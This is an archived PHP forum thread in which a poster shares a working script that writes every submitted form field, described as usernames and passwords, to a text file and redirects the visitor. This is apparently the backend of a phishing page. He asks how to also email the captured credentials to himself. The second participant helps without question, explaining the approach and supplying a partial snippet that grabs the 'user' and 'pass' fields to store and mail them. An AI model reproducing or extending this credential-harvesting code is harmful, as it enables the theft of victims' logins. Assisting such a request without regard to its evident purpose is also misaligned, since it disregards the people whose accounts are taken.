CStott Posted May 15, 2011 Share Posted May 15, 2011 Right at the moment im using this script to get usernames and passwords and save them into usernames.txt <?php header ('Location: redirect.html'); $handle = fopen("usernames.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> But instead of me always having to check usernames.txt i want them to be emailed to me aswell as being saved in usernames.txt (because i know mail can mess up sometimes) But i dont have the foggyest of where to start Any help would be appriciated! Link to comment https://forums.phpfreaks.com/topic/236453-script-to-send-emails-troubleing-me/ Share on other sites More sharing options...
Sanjib Sinha Posted May 15, 2011 Share Posted May 15, 2011 From $_POST you'd get the desired data in name, value pair. So catch them in variables and use mail function to mail it directly whenever someone registers. Best of luck. Link to comment https://forums.phpfreaks.com/topic/236453-script-to-send-emails-troubleing-me/#findComment-1215645 Share on other sites More sharing options...
CStott Posted May 15, 2011 Author Share Posted May 15, 2011 Youve lost me mate:/ Link to comment https://forums.phpfreaks.com/topic/236453-script-to-send-emails-troubleing-me/#findComment-1215646 Share on other sites More sharing options...
Sanjib Sinha Posted May 15, 2011 Share Posted May 15, 2011 Sorry. Is it that you want to save username, password in a text file and as well as being emailed them to you? If I've misunderstood please let me know. Link to comment https://forums.phpfreaks.com/topic/236453-script-to-send-emails-troubleing-me/#findComment-1215649 Share on other sites More sharing options...
CStott Posted May 15, 2011 Author Share Posted May 15, 2011 Nope thats what i want:) Link to comment https://forums.phpfreaks.com/topic/236453-script-to-send-emails-troubleing-me/#findComment-1215650 Share on other sites More sharing options...
Sanjib Sinha Posted May 15, 2011 Share Posted May 15, 2011 Then please read my post again. You collect form data in array, name/value pair. Keep them in separate variables and using send mail function get it in your mailbox. Best of luck. Link to comment https://forums.phpfreaks.com/topic/236453-script-to-send-emails-troubleing-me/#findComment-1215658 Share on other sites More sharing options...
CStott Posted May 15, 2011 Author Share Posted May 15, 2011 Could you give me some example code? Link to comment https://forums.phpfreaks.com/topic/236453-script-to-send-emails-troubleing-me/#findComment-1215662 Share on other sites More sharing options...
Sanjib Sinha Posted May 15, 2011 Share Posted May 15, 2011 I am not going to give you the complete code. You can get it done. I just try to initiate the process. Suppose you get username and password using a form, in that case your initial code will be like this: <?php if (isset($_POST['submit'])) { $username = $_POST['user']; $passwaord = $_POST['pass']; //now you store this value in text file //as well as use mail function } ?> Link to comment https://forums.phpfreaks.com/topic/236453-script-to-send-emails-troubleing-me/#findComment-1215664 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.